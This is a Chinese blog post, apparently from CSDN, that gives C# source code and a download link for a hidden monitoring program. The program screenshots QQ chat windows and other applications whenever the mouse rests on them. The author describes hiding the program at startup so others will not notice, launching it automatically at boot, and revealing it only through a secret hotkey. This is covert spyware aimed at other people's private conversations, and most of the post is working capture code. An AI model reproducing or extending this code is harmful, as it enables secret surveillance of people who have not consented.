QQ窗体监控系统

原理很简单,就是获取窗体Handle,然后获取窗体的类名,如果是QQ窗体的类名(TXGuiFoundation),则截取当前窗体图片。在实现过程中需要添加一个Timer用于监控,设置快捷键用于显示程序窗体(为了不让别人发现,程序启动时就隐藏),设置程序开机自动启动(以前的日志中有详细介绍),为了方便还可以添加更为丰富的功能。当然,也不一定是只对QQ进行监控,对浏览器、Word、Excel等等都可以进行监控,用于保存数据都采用图片存储的方式,所以保存文件应尽量放在空间加大的硬盘里面,另外还可以将监控的时间间隔稍微设置长一点。具体细节在此就不阐述了,下面介绍主要的实现代码:

[DllImport("user32.dll")]
private static extern void GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);

[DllImport("user32.dll")]
private extern static bool SetCursorPos(int x, int y);

[DllImport("user32.dll")]
private extern static IntPtr WindowFromPoint(int x, int y);

private struct POINTAPI
{
public int x;
public int y;
}

private struct RECT
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}

private struct WINDOWPLACEMENT
{
public int length;
public int flags;
public int showCmd;
public POINTAPI ptMinPosition;
public POINTAPI ptMaxPosition;
public RECT rcNormalPosition;
}

[DllImport("user32.dll")]
private static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl);

private void monitortimer_Tick(object sender, EventArgs e)
{
IntPtr myIntPtr = WindowFromPoint(Cursor.Position.X, Cursor.Position.Y);
if (myIntPtr != (IntPtr)0)
{
StringBuilder lpClassName = new StringBuilder(256);
GetClassName(myIntPtr, lpClassName, 256);
if (lpClassName.ToString() == "TXGuiFoundation")
{
Point point01 = new Point(), point02 = new Point();
WINDOWPLACEMENT winPlacement = new WINDOWPLACEMENT();
GetWindowPlacement(myIntPtr, ref winPlacement);
point01.X = winPlacement.rcNormalPosition.Left;
point01.Y = winPlacement.rcNormalPosition.Top;
point02.X = winPlacement.rcNormalPosition.Right;
point02.Y = winPlacement.rcNormalPosition.Bottom;

Bitmap bitmap = GetScreenImage(point01, point02, false);
string ss = savePath +"//"+ count.ToString();
count++;
bitmap.Save(ss, System.Drawing.Imaging.ImageFormat.Jpeg);
}
}
SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1);
}

//设置进程工作内存
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetProcessWorkingSetSize(IntPtr procHandle, int min,int max);

[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);

[DllImport("user32.dll")]
private static extern void mouse_event(MouseEventFlag flags, int dx, int dy, uint data, UIntPtr extraInfo);
enum MouseEventFlag : uint
{
Move = 0x0001,
LeftDown = 0x0002,
LeftUp = 0x0004,
RightDown = 0x0008,
RightUp = 0x0010,
MiddleDown = 0x0020,
MiddleUp = 0x0040,
XDown = 0x0080,
XUp = 0x0100,
Wheel = 0x0800,
VirtualDesk = 0x4000,
Absolute = 0x8000
}

[System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
private static extern bool BitBlt(
IntPtr hdcDest, //目标设备的句柄
int nXDest, // 目标对象的左上角的X坐标
int nYDest, // 目标对象的左上角的Y坐标
int nWidth, // 目标对象的矩形的宽度
int nHeight, // 目标对象的矩形的长度
IntPtr hdcSrc, // 源设备的句柄
int nXSrc, // 源对象的左上角的X坐标
int nYSrc, // 源对象的左上角的X坐标
System.Int32 dwRop // 光栅的操作值
);
[System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
private static extern IntPtr CreateDC(
string lpszDriver, // 驱动名称
string lpszDevice, // 设备名称
string lpszOutput, // 无用,可以设定位"NULL"
IntPtr lpInitData // 任意的打印机数据
);

private Bitmap GetScreenImage(Point point01, Point point02, bool full)
{
//创建显示器的DC
IntPtr dc1 = CreateDC("DISPLAY", null, null, (IntPtr)null);
//由一个指定设备的句柄创建一个新的Graphics对象
Graphics g1 = Graphics.FromHdc(dc1);
Bitmap MyImage;
int width, height;
if (full)
{
width = Screen.PrimaryScreen.Bounds.Width;
height = Screen.PrimaryScreen.Bounds.Height;
}
else
{
width = point02.X - point01.X;
height = point02.Y - point01.Y;
}

//根据指定的宽度和高度创建一个与之相同大小的Bitmap对象
MyImage = new Bitmap(width, height, g1);

//获得屏幕的句柄
Graphics g2 = Graphics.FromImage(MyImage);
//获得位图的句柄
IntPtr dc3 = g1.GetHdc();
//把当前屏幕捕获到位图对象中
IntPtr dc2 = g2.GetHdc();
//把当前屏幕拷贝到位图中
BitBlt(dc2, 0, 0, width, height, dc3, point01.X, point01.Y, 13369376);
//释放屏幕句柄
g1.ReleaseHdc(dc3);
//释放位图句柄
g2.ReleaseHdc(dc2);
return MyImage;
}

程序主界面如下:

测试结果如下:

基于C#开发,可以监控QQ窗体、浏览器、Word、Excel、迅雷、暴风影音等窗体。开机时自动启动程序,并隐藏程序界面。按住Ctrl+Shift+Alt+P可以显示系统界面。用户可以自定义设置监控结果保存路径,默认情况下将自动保存至程序同目录下。用户还可以自定义添加监控窗体类,如杀毒软件、图片查看器等等。本程序仅供学习,不得用于其他用途。

下载地址:

http://download.csdn.net/source/2631656